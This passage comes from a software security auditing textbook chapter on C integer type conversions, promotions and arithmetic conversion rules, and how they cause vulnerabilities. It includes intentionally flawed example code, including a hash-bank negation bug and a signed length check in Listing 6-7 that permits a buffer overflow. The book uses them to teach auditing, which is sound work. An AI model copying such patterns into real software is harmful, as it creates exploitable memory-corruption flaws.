behaviors tend to have dire security consequences. 

You start in the next section by exploring the conversion rules, the general rules C 

uses when converting between types. They dictate how a machine converts from one 

type to another type at the bit level. After you have a good grasp of how C converts 

between different types at the machine level, you examine how the compiler chooses 

which type conversions to apply in the context of C expressions, which involves three 

important concepts: simple conversions, integer promotions, and usual 

arithmetic conversions. 

Note 

Although non-integer types, such as floats and pointers, have some coverage, the 

primary focus of this discussion is on how C manipulates integers because these 

conversions are widely misunderstood and are critical for security analysis. 

 

 

Conversion Rules 

The following rules describe how C converts from one type to another, but they don't 

describe when conversions are performed or why they are performed. 

Note 

The following content is specific to twos complement implementations and represents 

a distilled and pragmatic version of the rules in the C specification. 

 

 

Integer Types: Value Preservation 

An important concept in integer type conversions is the notion of a 

value-preserving conversion. Basically, if the new type can represent all possible 

values of the old type, the conversion is said to be value-preserving. In this situation, 

there's no way the value can be lost or changed as a result of the conversion. For 

example, if an unsigned char is converted into an int, the conversion is 

value-preserving because an int can represent all of the values of an unsigned char. 

You can verify this by referring to Table 6-2(? [????.]) again. Assuming you're 

considering a twos complement machine, you know that an 8-bit unsigned char can 

represent any value between 0 and 255. You know that a 32-bit int can represent any 

value between -2147483648 and 2147483647. Therefore, there's no value the 

unsigned char can have that the int can't represent. 
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Correspondingly, in a value-changing conversion, the old type can contain values 

that can't be represented in the new type. For example, if you convert an int into an 

unsigned int, you have potentially created an intractable situation. The unsigned int, 

on a 32-bit machine, has a range of 0 to 4294967295, and the int has a range of 

-2147483648 to 2147483647. The unsigned int can't hold any of the negative values 

a signed int can represent. 

According to the C standard, some of the value-changing conversions have 

implementation-defined results. This is true only for value-changing conversions that 

have a signed destination type; value-changing conversions to an unsigned type are 

defined and consistent across all implementations. (If you recall from the boundary 

condition discussion, this is because unsigned arithmetic is defined as a modulus 

arithmetic system.) Twos complement machines follow the same basic behaviors, so 

you can explain how they perform value-changing conversions to signed destination 

types with a fair amount of confidence. 

Integer Types: Widening 

When you convert from a narrow type to a wider type, the machine typically copies 

the bit pattern from the old variable to the new variable, and then sets all the 

remaining high bits in the new variable to 0 or 1. If the source type is unsigned, the 

machine uses zero extension, in which it propagates the value 0 to all high bits in 

the new wider type. If the source type is signed, the machine uses sign extension, 

in which it propagates the sign bit from the source type to all unused bits in the 

destination type. 

Warning 

The widening procedure might have some unexpected implications: If a narrow 

signed type, such as signed char, is converted to a wider unsigned type, such as 

unsigned int, sign extension occurs. 

 

Figure 6-1 shows a value-preserving conversion of an unsigned char with a value of 5 

to a signed int. 

Figure 6-1. Conversion of unsigned char to int (zero extension, big endian) 
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The character is placed into the integer, and the value is preserved. At the bit pattern 

level, this simply involved zero extension: clearing out the high bits and moving the 

least significant byte (LSB) into the new object's LSB. 

Now consider a signed char being converted into a int. A int can represent all the 

values of a signed char, so this conversion is also value-preserving. Figure 6-2 shows 

what this conversion looks like at the bit level. 

Figure 6-2. Conversion of signed char to integer (sign extension, big endian) 

 

 

This situation is slightly different, as the value is the same, but the transformation is 

more involved. The bit representation of -5 in a signed char is 1111 1011. The bit 

representation of -5 in an int is 1111 1111 1111 1111 1111 1111 1111 1011. To do 

the conversion, the compiler generates assembly that performs sign extension. You 

can see in Figure 6-2 that the sign bit is set in the signed char, so to preserve the 

value -5, the sign bit has to be copied to the other 24 bits of the int. 

The previous examples are value-preserving conversions. Now consider a 

value-changing widening conversion. Say you convert a signed char with a value of -5 

to an unsigned int. Because the source type is signed, you perform sign extension on 

the signed char before placing it in the unsigned int (see Figure 6-3). 

Figure 6-3. Conversion of signed char to unsigned integer (sign extension, big endian) 
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As mentioned previously, this result can be surprising to developers. You explore its 

security ramifications in "Sign Extension(? [????.])" later in this chapter. This 

conversion is value changing because an unsigned int can't represent values less than 

0. 

Integer Types: Narrowing 

When converting from a wider type to a narrower type, the machine uses only one 

mechanism: truncation. The bits from the wider type that don't fit in the new 

narrower type are dropped. Figures 6-4 and 6-5 show two narrowing conversions. 

Note that all narrowing conversions are value-changing because you're losing 

precision. 

Figure 6-4. Conversion of integer to unsigned short integer (truncation, big endian) 

 

 

Figure 6-5. Conversion of integer to signed char (truncation, big endian) 
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Integer Types: Signed and Unsigned 

One final type of integer conversion to consider: If a conversion occurs between a 

signed type and an unsigned type of the same width, nothing is changed in the bit 

pattern. This conversion is value-changing. For example, say you have the signed 

integer -1, which is represented in binary as 1111 1111 1111 1111 1111 1111 1111 

1111. 

If you interpret this same bit pattern as an unsigned integer, you see a value of 

4,294,967,295. The conversion is summarized in Figure 6-6. The conversion from 

unsigned int to int technically might be implementation defined, but it works in the 

same fashion: The bit pattern is left alone, and the value is interpreted in the context 

of the new type (see Figure 6-7). 

Figure 6-6. Conversion of int to unsigned int (big endian) 

 

 

Figure 6-7. Conversion of unsigned int to signed int (big endian) 
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Integer Type Conversion Summary 

Here are some practical rules of thumb for integer type conversions: 

 When you convert from a narrower signed type to a wider unsigned type, the 

compiler emits assembly to do sign extension, and the value of the object 

might change. 

 When you convert from a narrower signed type to a wider signed type, the 

compiler emits assembly to do sign extension, and the value of the object is 

preserved. 

 When you convert from a narrower unsigned type to a wider type, the 

compiler emits assembly to do zero extension, and the value of the object is 

preserved. 

 When you convert from a wider type to a narrower type, the compiler emits 

assembly to do truncation, and the value of the object might change. 

 When you convert between signed and unsigned types of the same width, the 

compiler effectively does nothing, the bit pattern stays the same, and the 

value of the object might change. 

Table 6-4 summarizes the processing that occurs when different integer types are 

converted in twos complement implementations of C. As you cover the information in 

the following sections, this table can serve as a useful reference for recalling how a 

conversion occurs. 

Table 6-4. Integer Type Conversion in C (Source on Left, Destination on Top) 

  signed char unsigne

d char 

short int Unsigne
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d int 
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pattern 
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Value 

changing 

Sign 
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Value 

preserving 
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Value 

changing 

Sign 

extensio
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Table 6-4. Integer Type Conversion in C (Source on Left, Destination on Top) 
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Table 6-4. Integer Type Conversion in C (Source on Left, Destination on Top) 

  signed char unsigne

d char 

short int Unsigne

d short 

int 

int unsigne

d int 

ion defined 

 

 

Floating Point and Complex Types 

Although vulnerabilities caused by the use of floating point arithmetic haven't been 

widely published, they are certainly possible. There's certainly the possibility of subtle 

errors surfacing in financial software related to floating point type conversions or 

representation issues. The discussion of floating point types in this chapter is fairly 

brief. For more information, refer to the C standards documents and the previously 

mentioned C programming references. 

The C standard's rules for conversions between real floating types and integer types 

leave a lot of room for implementation-defined behaviors. In a conversion from a real 

type to an integer type, the fractional portion of the number is discarded. If the 

integer type can't represent the integer portion of the floating point number, the 

result is undefined. Similarly, a conversion from an integer type to a real type 

transfers the value over if possible. If the real type can't represent the integer's value 

but can come close, the compiler rounds the integer to the next highest or lowest 

number in an implementation-defined manner. If the integer is outside the range of 

the real type, the result is undefined. 

Conversions between floating point types of different precision are handled with 

similar logic. Promotion causes no change in value. During a demotion that causes a 

change in value, the compiler is free to round numbers, if possible, in an 

implementation-defined manner. If rounding isn't possible because of the range of 

the target type, the result is undefined. 

Other Types 

There are myriad other types in C beyond integers and floats, including pointers, 

Booleans, structures, unions, functions, arrays, enums, and more. For the most part, 

conversion among these types isn't quite as critical from a security perspective, so 

they aren't extensively covered in this chapter. 

Pointer arithmetic is covered in "Pointer Arithmetic(? [????.])" later in this chapter. 

Pointer type conversion depends largely on the underlying machine architecture, and 

many conversions are specified as implementation defined. Essentially, programmers 

are free to convert pointers into integers and back, and convert pointers from one 
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type to another. The results are implementation defined, and programmers need to 

be cognizant of alignment restrictions and other low-level details. 

Simple Conversions 

Now that you have a good idea how C converts from one integer type to another, you 

can look at some situations where these type conversions occur. Simple 

conversions are C expressions that use straightforward applications of conversion 

rules. 

Casts 

As you know, typecasts are C's mechanism for letting programmers specify an explicit 

type conversion, as shown in this example: 

(unsigned char) bob 

 

Whatever type bob happens to be, this expression converts it into an unsigned char 

type. The resulting type of the expression is unsigned char. 

Assignments 

Simple type conversion also occurs in the assignment operator. The compiler must 

convert the type of the right operand into the type of the left operand, as shown in 

this example: 

short int fred; 

int bob = -10; 

 

fred = bob; 

 

For both assignments, the compiler must take the object in the right operand and 

convert it into the type of the left operand. The conversion rules tell you that 

conversion from the int bob to the short int fred results in truncation. 

Function Calls: Prototypes 

C has two styles of function declarations: the old K&R style, in which parameter types 

aren't specified in the function declaration, and the new ANSI style, in which the 

parameter types are part of the declaration. In the ANSI style, the use of function 

prototypes is still optional, but it's common. With the ANSI style, you typically see 

something like this: 

int dostuff(int jim, unsigned char bob); 
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void func(void) 

{ 

    char a=42; 

    unsigned short b=43; 

    long long int c; 

 

    c=dostuff(a, b); 

} 

 

The function declaration for dostuff() contains a prototype that tells the compiler the 

number of arguments and their types. The rule of thumb is that if the function has a 

prototype, the types are converted in a straightforward fashion using the rules 

documented previously. If the function doesn't have a prototype, something called 

the default argument promotions kicks in (explained in "Integer Promotions"). 

The previous example has a character (a) being converted into an int (jim), an 

unsigned short (b) being converted into an unsigned char (bob), and an int (the 

dostuff() function's return value) being converted into a long long int (c). 

Function Calls: return 

return does a conversion of its operand to the type specified in the enclosing 

function's definition. For example, the int a is converted into a char data type by 

return: 

char func(void) 

{ 

    int a=42; 

    return a; 

} 

 

 

Integer Promotions 

Integer promotions specify how C takes a narrow integer data type, such as a char 

or short, and converts it to an int (or, in rare cases, to an unsigned int). This 

up-conversion, or promotion, is used for two different purposes: 

 Certain operators in C require an integer operand of type int or unsigned int. 

For these operators, C uses the integer promotion rules to transform a 

narrower integer operand into the correct typeint or unsigned int. 

 Integer promotions are a critical component of C's rules for handling 

arithmetic expressions, which are called the usual arithmetic conversions. 
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For arithmetic expressions involving integers, integer promotions are usually 

applied to both operands. 

Note 

You might see the terms "integer promotions" and "integral promotions" used 

interchangeably in other literature, as they are synonymous. 

 

There's a useful concept from the C standards: Each integer data type is assigned 

what's known as an integer conversion rank. These ranks order the integer data 

types by their width from lowest to highest. The signed and unsigned varieties of each 

type are assigned the same rank. The following abridged list sorts integer types by 

conversion rank from high to low. The C standard assigns ranks to other integer types, 

but this list should suffice for this discussion: 

long long int, unsigned long long int 

long int, unsigned long int 

unsigned int, int 

unsigned short, short 

char, unsigned char, signed char 

_Bool 

Basically, any place in C where you can use an int or unsigned int, you can also use 

any integer type with a lower integer conversion rank. This means you can use 

smaller types, such as chars and short ints, in the place of ints in C expressions. You 

can also use a bit field of type _Bool, int, signed int, or unsigned int. The bit fields 

aren't ascribed integer conversion ranks, but they are treated as narrower than their 

corresponding base type. This makes sense because a bit field of an int is usually 

smaller than an int, and at its widest, it's the same width as an int. 

If you apply the integer promotions to a variable, what happens? First, if the variable 

isn't an integer type or a bit field, the promotions do nothing. Second, if the variable 

is an integer type, but its integer conversion rank is greater than or equal to that of an 

int, the promotions do nothing. Therefore, ints, unsigned ints, long ints, pointers, and 

floats don't get altered by the integer promotions. 

So, the integer promotions are responsible for taking a narrower integer type or bit 

field and promoting it to an int or unsigned int. This is done in a straightforward 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 249 

fashion: If a value-preserving transformation to an int can be performed, it's done. 

Otherwise, a value-preserving conversion to an unsigned int is performed. 

In practice, this means almost everything is converted to an int, as an int can hold the 

minimum and maximum values of all the smaller types. The only types that might be 

promoted to an unsigned int are unsigned int bit fields with 32 bits or perhaps some 

implementation-specific extended integer types. 

Historical Note 

The C89 standard made an important change to the C type conversion rules. In the 

K&R days of the C language, integer promotions were unsigned-preserving rather 

than value-preserving. So with the current C rules, if a narrower, unsigned integer 

type, such as an unsigned char, is promoted to a wider, signed integer, such as an int, 

value conversion dictates that the new type is a signed integer. With the old rules, the 

promotion would preserve the unsigned-ness, so the resulting type would be an 

unsigned int. This changed the behavior of many signed/unsigned comparisons that 

involved promotions of types narrower than int. 

 

 

Integer Promotions Summary 

The basic rule of thumb is this: If an integer type is narrower than an int, integer 

promotions almost always convert it to an int. Table 6-5 summarizes the result of 

integer promotions on a few common types. 

Table 6-5. Results of Integer Promotions 

Source Type Result Type Rationale 

unsigned char int Promote; source rank less than int rank 

char int Promote; source rank less than int rank 

short int Promote; source rank less than int rank 

unsigned short int Promote; source rank less than int rank 

unsigned int: 24 int Promote; bit field of unsigned int 

unsigned int: 32 unsigned int Promote; bit field of unsigned int 

int int Don't promote; source rank equal to int rank 

unsigned int unsigned int Don't promote; source rank equal to int rank 

long int long int Don't promote; source rank greater than int rank 

float float Don't promote; source not of integer type 
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Table 6-5. Results of Integer Promotions 

Source Type Result Type Rationale 

char * char * Don't promote; source not of integer type 

 

 

Integer Promotion Applications 

Now that you understand integer promotions, the following sections examine where 

they are used in the C language. 

Unary + Operator 

The unary + operator performs integer promotions on its operand. For example, if the 

bob variable is of type char, the resulting type of the expression (+bob) is int, whereas 

the resulting type of the expression (bob) is char. 

Unary - Operator 

The unary - operator does integer promotion on its operand and then does a negation. 

Regardless of whether the operand is signed after the promotion, a twos complement 

negation is performed, which involves inverting the bits and adding 1. 

The Leblancian Paradox 

David Leblanc is an accomplished researcher and author, and one of the world's 

foremost experts on integer issues in C and C++. He documented a fascinating 

nuance of twos complement arithmetic that he discovered while working on the 

SafeInt class with his colleague Atin Bansal 

(http://msdn.microsoft.com/library/en-us/dncode/html/secure01142004.asp). 

To negate a twos complement number, you flip all the bits and add 1 to the 

result. Assuming a 32-bit signed data type, what's the inverse of 0x80000000? 

If you flip all the bits, you get 0x7fffffff. If you add 1, you get 0x80000000. So 

the unary negation of this corner-case number is itself! 

This idiosyncrasy can come into play when developers use negative integers to 

represent a special sentinel set of numbers or attempt to take the absolute 

value of an integer. In the following code, the intent is for a negative index to 

specify a secondary hash table. This works fine unless attackers can specify an 

index of 0x80000000. The negation of the number results in no change in the 

value, and 0x80000000 % 1000 is -648, which causes memory before the array 

http://msdn.microsoft.com/library/en-us/dncode/html/secure01142004.asp
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to be modified. 

int bank1[1000], bank2[1000]; 

 

... 

void hashbank(int index, int value) 

{ 

  int *bank = bank1; 

 

  if (index<0) { 

   bank = bank2; 

   index = -index; 

  } 

 

  bank[index % 1000] = value; 

} 

 

 

 

Unary ~ Operator 

The unary ~ operator does a ones complement of its operand after doing an integer 

promotion of its operand. This effectively performs the same operation on both signed 

and unsigned operands for twos complement implementations: It inverts the bits. 

Bitwise Shift Operators 

The bitwise shift operators >> and << shift the bit patterns of variables. The integer 

promotions are applied to both arguments of these operators, and the type of the 

result is the same as the promoted type of the left operand, as shown in this example: 

char a = 1; 

char c = 16; 

int bob; 

bob = a << c; 

 

a is converted to an integer, and c is converted to an integer. The promoted type of 

the left operand is int, so the type of the result is an int. The integer representation of 

a is left-shifted 16 times. 

Switch Statements 

Integer promotions are used in switch statements. The general form of a switch 

statement is something like this: 
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switch (controlling expression) 

{ 

    case (constant integer expression): body; 

                    break; 

    default: body; 

        break; 

} 

 

The integer promotions are used in the following way: First, they are applied to the 

controlling expression, so that expression has a promoted type. Then, all the integer 

constants are converted to the type of the promoted control expression. 

Function Invocations 

Older C programs using the K&R semantics don't specify the data types of arguments 

in their function declarations. When a function is called without a prototype, the 

compiler has to do something called default argument promotions. Basically, 

integer promotions are applied to each function argument, and any arguments of the 

float type are converted to arguments of the double type. Consider the following 

example: 

int jim(bob) 

char bob; 

{ 

    printf("bob=%d\n", bob); 

} 

 

int main(int argc, char **argv) 

{ 

    char a=5; 

    jim(a); 

} 

 

In this example, a copy of the value of a is passed to the jim() function. The char type 

is first run through the integer promotions and transformed into an integer. This 

integer is what's passed to the jim() function. The code the compiler emits for the 

jim() function is expecting an integer argument, and it performs a direct conversion 

of that integer back into a char format for the bob variable. 

Usual Arithmetic Conversions 

In many situations, C is expected to take two operands of potentially divergent types 

and perform some arithmetic operation that involves both of them. The C standards 
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spell out a general algorithm for reconciling two types into a compatible type for this 

purpose. This procedure is known as the usual arithmetic conversions. The goal of 

these conversions is to transform both operands into a common real type, which is 

used for the actual operation and then as the type of the result. These conversions 

apply only to the arithmetic typesinteger and floating point types. The following 

sections tackle the conversion rules. 

Rule 1: Floating Points Take Precedence 

Floating point types take precedence over integer types, so if one of the arguments in 

an arithmetic expression is a floating point type, the other argument is converted to 

a floating point type. If one floating point argument is less precise than the other, the 

less precise argument is promoted to the type of the more precise argument. 

Rule 2: Apply Integer Promotions 

If you have two operands and neither is a float, you get into the rules for reconciling 

integers. First, integer promotions are performed on both operands. This is an 

extremely important piece of the puzzle! If you recall from the previous section, this 

means any integer type smaller than an int is converted into an int, and anything 

that's the same width as an int, larger than an int, or not an integer type is left alone. 

Here's a brief example: 

unsigned char jim = 255; 

unsigned char bob = 255; 

 

if ((jim + bob) > 300) do_something(); 

 

In this expression, the + operator causes the usual arithmetic conversions to be 

applied to its operands. This means both jim and bob are promoted to ints, the 

addition takes place, and the resulting type of the expression is an int that holds the 

result of the addition (510). Therefore, do_something() is called, even though it looks 

like the addition could cause a numeric overflow. To summarize: Whenever there's 

arithmetic involving types narrower than an integer, the narrow types are promoted 

to integers behind the scenes. Here's another brief example: 

unsigned short a=1; 

if ((a-5) < 0) do_something(); 

 

Intuition would suggest that if you have an unsigned short with the value 1, and it's 

subtracted by 5, it underflows around 0 and ends up containing a large value. 

However, if you test this fragment, you see that do_something() is called because both 

operands of the subtraction operator are converted to ints before the comparison. So 
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a is converted from an unsigned short to an int, and then an int with a value of 5 is 

subtracted from it. The resulting value is -4, which is a valid integer value, so the 

comparison is true. Note that if you did the following, do_something() wouldn't be 

called: 

unsigned short a=1; 

a=a-5; 

if (a < 0) do_something(); 

 

The integer promotion still occurs with the (a-5), but the resulting integer value of -4 

is placed back into the unsigned short a. As you know, this causes a simple conversion 

from signed int to unsigned short, which causes truncation to occur, and a ends up 

with a large positive value. Therefore, the comparison doesn't succeed. 

Rule 3: Same Type After Integer Promotions 

If the two operands are of the same type after integer promotions are applied, you 

don't need any further conversions because the arithmetic should be straightforward 

to carry out at the machine level. This can happen if both operands have been 

promoted to an int by integer promotions, or if they just happen to be of the same 

type and weren't affected by integer promotions. 

Rule 4: Same Sign, Different Types 

If the two operands have different types after integer promotions are applied, but 

they share the same signed-ness, the narrower type is converted to the type of the 

wider type. In other words, if both operands are signed or both operands are 

unsigned, the type with the lesser integer conversion rank is converted to the type of 

the operand with the higher conversion rank. 

Note that this rule has nothing to do with short integers or characters because they 

have already been converted to integers by integer promotions. This rule is more 

applicable to arithmetic involving types of larger sizes, such as long long int or long int. 

Here's a brief example: 

int jim =5; 

long int bob = 6; 

long long int fred; 

fred = (jim + bob) 

 

Integer promotions don't change any types because they are of equal or higher width 

than the int type. So this rule mandates that the int jim be converted into a long int 
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before the addition occurs. The resulting type, a long int, is converted into a long long 

int by the assignment to fred. 

In the next section, you consider operands of different types, in which one is signed 

and the other is unsigned, which gets interesting from a security perspective. 

Rule 5: Unsigned Type Wider Than or Same Width as Signed Type 

The first rule for this situation is that if the unsigned operand is of greater integer 

conversion rank than the signed operand, or their ranks are equal, you convert the 

signed operand to the type of the unsigned operand. This behavior can be surprising, 

as it leads to situations like this: 

int jim = -5; 

if (jim < sizeof (int)) 

    do_something(); 

 

The comparison operator < causes the usual arithmetic conversions to be applied to 

both operands. Integer promotions are applied to jim and to sizeof(int), but they 

don't affect them. Then you continue into the usual arithmetic conversions and 

attempt to figure out which type should be the common type for the comparison. In 

this case, jim is a signed integer, and sizeof (int) is a size_t, which is an unsigned 

integer type. Because size_t has a greater integer conversion rank, the unsigned 

type takes precedence by this rule. Therefore, jim is converted to an unsigned integer 

type, the comparison fails, and do_something() isn't called. On a 32-bit system, the 

actual comparison is as follows: 

if (4294967291 < 4) 

    do_something(); 

 

 

Rule 6: Signed Type Wider Than Unsigned Type, Value Preservation Possible 

If the signed operand is of greater integer conversion rank than the unsigned operand, 

and a value-preserving conversion can be made from the unsigned integer type to the 

signed integer type, you choose to transform everything to the signed integer type, 

as in this example: 

long long int a=10; 

unsigned int b= 5; 

(a+b); 
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The signed argument, a long long int, can represent all the values of the unsigned 

argument, an unsigned int, so the compiler would convert both operands to the 

signed operand's type: long long int. 

Rule 7: Signed Type Wider Than Unsigned Type, Value Preservation Impossible 

There's one more rule: If the signed integer type has a greater integer conversion 

rank than the unsigned integer type, but all values of the unsigned integer type can't 

be held in the signed integer type, you have to do something a little strange. You take 

the type of the signed integer type, convert it to its corresponding unsigned integer 

type, and then convert both operands to use that type. Here's an example: 

unsigned int a = 10; 

long int b=20; 

(a+b); 

 

For the purpose of this example, assume that on this machine, the long int size has 

the same width as the int size. The addition operator causes the usual arithmetic 

conversions to be applied. Integer promotions are applied, but they don't change the 

types. The signed type (long int) is of higher rank than the unsigned type (unsigned 

int). The signed type (long int) can't hold all the values of the unsigned type 

(unsigned int), so you're left with the last rule. You take the type of the signed 

operand, which is a long int, convert it into its corresponding unsigned equivalent, 

unsigned long int, and then convert both operands to unsigned long int. The addition 

expression, therefore, has a resulting type of unsigned long int and a value of 30. 

Summary of Arithmetic Conversions 

The following is a summary of the usual arithmetic conversions. Table 6-6 

demonstrates some sample applications of the usual arithmetic conversions. 

 If either operand is a floating point number, convert all operands to the 

floating point type of the highest precision operand. You're finished. 

 Perform integer promotions on both operands. If the two operands are now of 

the same type, you're finished. 

 If the two operands share the same signed-ness, convert the operand with the 

lower integer conversion rank to the type of the operand of the higher integer 

conversion rank. You're finished. 

 If the unsigned operand is of higher or equal integer conversion rank than the 

signed operand, convert the signed operand to the type of the unsigned 

operand. You're finished. 

 If the signed operand is of higher integer conversion rank than the unsigned 

operand, and you can perform a value-preserving conversion, convert the 

unsigned operand to the signed operand's type. You're finished. 
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 If the signed operand is of higher integer conversion rank than the unsigned 

operand, but you can't perform a value-preserving conversion, convert both 

operands to the unsigned type that corresponds to the type of the signed 

operand. 

Table 6-6. Usual Arithmetic Conversion Examples 

Left 

Operand 

Type 

Right 

Operand 

Type 

Result Common 

Type 

int float 1. Left operand converted to 

float 

float 

double char 1. Right operand converted to 

double 

double 

unsigned int int 1. Right operand converted to 

unsigned int 

unsigned int 

unsigned 

short 

int 1. Left operand converted to 

int 

int 

unsigned char unsigned short 1. Left operand converted to 

int 

2. Right operand converted to 

int 

int 

unsigned int: 

32 

short 1. Left operand converted to 

unsigned int 

2. Right operand converted to 

int 

3. Right operand converted to 

unsigned int 

unsigned int 

unsigned int long int 1. Left operand converted to 

unsigned long int 

2. Right operand converted to 

unsigned long int 

unsigned long 

int 

unsigned int long long int 1. Left operand converted to long long int 
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Table 6-6. Usual Arithmetic Conversion Examples 

Left 

Operand 

Type 

Right 

Operand 

Type 

Result Common 

Type 

long long int 

unsigned int unsigned long 

long int 

1. Left operand converted to 

unsigned long long int 

unsigned long 

long int 

 

 

Usual Arithmetic Conversion Applications 

Now that you have a grasp of the usual arithmetic conversions, you can look at where 

these conversions are used. 

Addition 

Addition can occur between two arithmetic types as well as between a pointer type 

and an arithmetic type. Pointer arithmetic is explained in "Pointer Arithmetic(? 

[????.])," but for now, you just need to note that when both arguments are an 

arithmetic type, the compiler applies the usual arithmetic conversions to them. 

Subtraction 

There are three types of subtraction: subtraction between two arithmetic types, 

subtraction between a pointer and an arithmetic type, and subtraction between two 

pointer types. In subtraction between two arithmetic types, C applies the usual 

arithmetic conversions to both operands. 

Multiplicative Operators 

The operands to * and / must be an arithmetic type, and the arguments to % must be 

an integer type. The usual arithmetic conversions are applied to both operands of 

these operators. 

Relational and Equality Operators 

When two arithmetic operands are compared, the usual arithmetic conversions are 

applied to both operands. The resulting type is an int, and its value is 1 or 0, 

depending on the result of the test. 

Binary Bitwise Operators 
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The binary bitwise operators &, ^, and | require integer operands. The usual 

arithmetic conversions are applied to both operands. 

Question Mark Operator 

From a type conversion perspective, the conditional operator is one of C's more 

interesting operators. Here's a short example of how it's commonly used: 

int a=1; 

unsigned int b=2; 

int choice=-1; 

... 

result = choice ? a : b ; 

 

In this example, the first operand, choice, is evaluated as a scalar. If it's set, the 

result of the expression is the evaluation of the second operand, which is a. If it's not 

set, the result is the evaluation of the third operand, b. 

The compiler has to know at compile time the result type of the conditional expression, 

which could be tricky in this situation. What C does is determine which type would be 

the result of running the usual arithmetic conversions against the second and third 

arguments, and it makes that type the resulting type of the expression. So in the 

previous example, the expression results in an unsigned int, regardless of the value of 

choice. 

Type Conversion Summary 

Table 6-7 shows the details of some common type conversions. 

Table 6-7. Default Type Promotion Summary 

Operation Operand Types Conversions Resulting 

Type 

Typecast 

(type)expression 

  Expression is 

converted to type 

using simple 

conversions 

Type 

Assignment =   Right operand 

converted to left 

operand type using 

simple conversions 

Type of left 

operand 

Function call with 

prototype 

  Arguments converted 

using simple 

Return type of 

function 
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Table 6-7. Default Type Promotion Summary 

Operation Operand Types Conversions Resulting 

Type 

conversions according 

to prototype 

Function call 

without prototype 

  Arguments promoted 

via default argument 

promotions, which are 

essentially integer 

promotions 

int 

Return Unary +, - 

+a 

-a 

~a 

Operand must be 

arithmetic type 

Operand undergoes 

integer promotions 

Promoted type 

of operand 

Unary ~ ~a Operand must be 

integer type 

Operand undergoes 

integer promotions 

Promoted type 

of operand 

Bitwise << and >> Operands must be 

integer type 

Operands undergo 

integer promotions 

Promoted type 

of left operand 

switch statement Expression must have 

integer type 

Expression undergoes 

integer promotion; 

cases are converted to 

that type 

  

Binary +, - Operands must be 

arithmetic type 

*Pointer arithmetic 

covered in "Pointer 

Arithmetic(? [????.])" 

Operands undergo 

usual arithmetic 

conversions 

Common type 

from usual 

arithmetic 

conversions 

Binary * and / Operands must be 

arithmetic type 

Operands undergo 

usual arithmetic 

conversions 

Common type 

from usual 

arithmetic 

conversions 

Binary % Operands must be 

integer type 

Operands undergo 

usual arithmetic 

conversions 

Common type 

from usual 

arithmetic 

conversions 

Binary subscript []   Interpreted as   
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Table 6-7. Default Type Promotion Summary 

Operation Operand Types Conversions Resulting 

Type 

a[b] *((a)+(b)) 

Unary ! Operand must be 

arithmetic type or 

pointer 

  int, value 0 or 1 

sizeof     size_t 

(unsigned 

integer type) 

Binary < > <= => 

== != 

Operands must be 

arithmetic type 

*Pointer arithmetic 

covered in "Pointer 

Arithmetic(? [????.])" 

Operands undergo 

usual arithmetic 

conversions 

int, value 0 or 1 

Binary & ^ | Operands must be 

integer type 

Operands undergo 

usual arithmetic 

conversions 

Common type 

from usual 

arithmetic 

conversions 

Binary && || Operands must be 

arithmetic type or 

pointer 

  int, value 0 or 1 

Conditional ? 2nd and 3rd operands 

must be arithmetic 

type or pointer 

Second and third 

operands undergo 

usual arithmetic 

conversions 

Common type 

from usual 

arithmetic 

conversions 

,     Type of right 

operand 

 

Auditing Tip: Type Conversions 

Even those who have studied conversions extensively might still be surprised at the 

way a compiler renders certain expressions into assembly. When you see code that 

strikes you as suspicious or potentially ambiguous, never hesitate to write a simple 

test program or study the generated assembly to verify your intuition. 

If you do generate assembly to verify or explore the conversions discussed in this 

chapter, be aware that C compilers can optimize out certain conversions or use 

architectural tricks that might make the assembly appear incorrect or inconsistent. At 
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a conceptual level, compilers are behaving as the C standard describes, and they 

ultimately generate code that follows the rules. However, the assembly might look 

inconsistent because of optimizations or even incorrect, as it might manipulate 

portions of registers that should be unused. 

7.2.6 Type Conversion Vulnerabilities 

Now that you have a solid grasp of C's type conversions, you can explore some of the 

exceptional circumstances they can create. Implicit type conversions can catch 

programmers off-guard in several situations. This section focuses on simple 

conversions between signed and unsigned types, sign extension, truncation, and the 

usual arithmetic conversions, focusing on comparisons. 

Signed/Unsigned Conversions 

Most security issues related to type conversions are the result of simple conversions 

between signed and unsigned integers. This discussion is limited to conversions that 

occur as a result of assignment, function calls, or typecasts. 

For a quick recap of the simple conversion rules, when a signed variable is converted 

to an unsigned variable of the same size, the bit pattern is left alone, and the value 

changes correspondingly. The same thing occurs when an unsigned variable is 

converted to a signed variable. Technically, the unsigned-to-signed conversion is 

implementation defined, but in twos complement implementations, usually the bit 

pattern is left alone. 

The most important situation in which this conversion becomes relevant is during 

function calls, as shown in this example: 

int copy(char *dst, char *src, unsigned int len) 

{ 

    while (len--) 

        *dst++ = *src++; 

} 

 

The third argument is an unsigned int that represents the length of the memory 

section to copy. If you call this function and pass a signed int as the third argument, 

it's converted to an unsigned integer. For example, say you do this: 

int f = -1; 

copy(mydst, mysrc, f); 

 

The copy() function sees an extremely large positive len and most likely copies until 

it causes a segmentation fault. Most libc routines that take a size parameter have an 
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argument of type size_t, which is an unsigned integer type that's the same width as 

pointer. This is why you must be careful never to let a negative length field make its 

way to a libc routine, such as snprintf(), strncpy(), memcpy(), read(), or strncat(). 

This situation occurs fairly often, particularly when signed integers are used for length 

values and the programmer doesn't consider the potential for a value less than 0. In 

this case, all values less than 0 have their value changed to a high positive number 

when they are converted to an unsigned type. Malicious users can often specify 

negative integers through various program interfaces and undermine an application's 

logic. This type of bug happens commonly when a maximum length check is 

performed on a user-supplied integer, but no check is made to see whether the 

integer is negative, as in Listing 6-7. 

Listing 6-7. Signed Comparison Vulnerability Example 

int read_user_data(int sockfd) 

{ 

    int length, sockfd, n; 

    char buffer[1024]; 

 

    length = get_user_length(sockfd); 

 

    if(length > 1024){ 

        error("illegal input, not enough room in buffer\n"); 

        return 1; 

    } 

 

    if(read(sockfd, buffer, length) < 0){ 

        error("read: %m"); 

        return 1; 

    } 

 

    return 0; 

} 

 

In Listing 6-7, assume that the get_user_length() function reads a 32-bit integer 

from the network. If the length the user supplies is negative, the length check can be 

evaded, and the application can be compromised. A negative length is converted to a 

size_t type for the call to read(), which as you know, turns into a large unsigned 

value. A code reviewer should always consider the implications of negative values in 

signed types and see whether unexpected results can be produced that could lead to 

security exposures. In this case, a buffer overflow can be triggered because of the 

erroneous length check; consequently, the oversight is quite serious. 
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Auditing Tip: Signed/Unsigned Conversions 

You want to look for situations in which a function takes a size_t or unsigned int 

length parameter, and the programmer passes in a signed integer that can be 

influenced by users. Good functions to look for include read(), recvfrom(), memcpy(), 

memset(), bcopy(), snprintf(), strncat(), strncpy(), and malloc(). If users can 

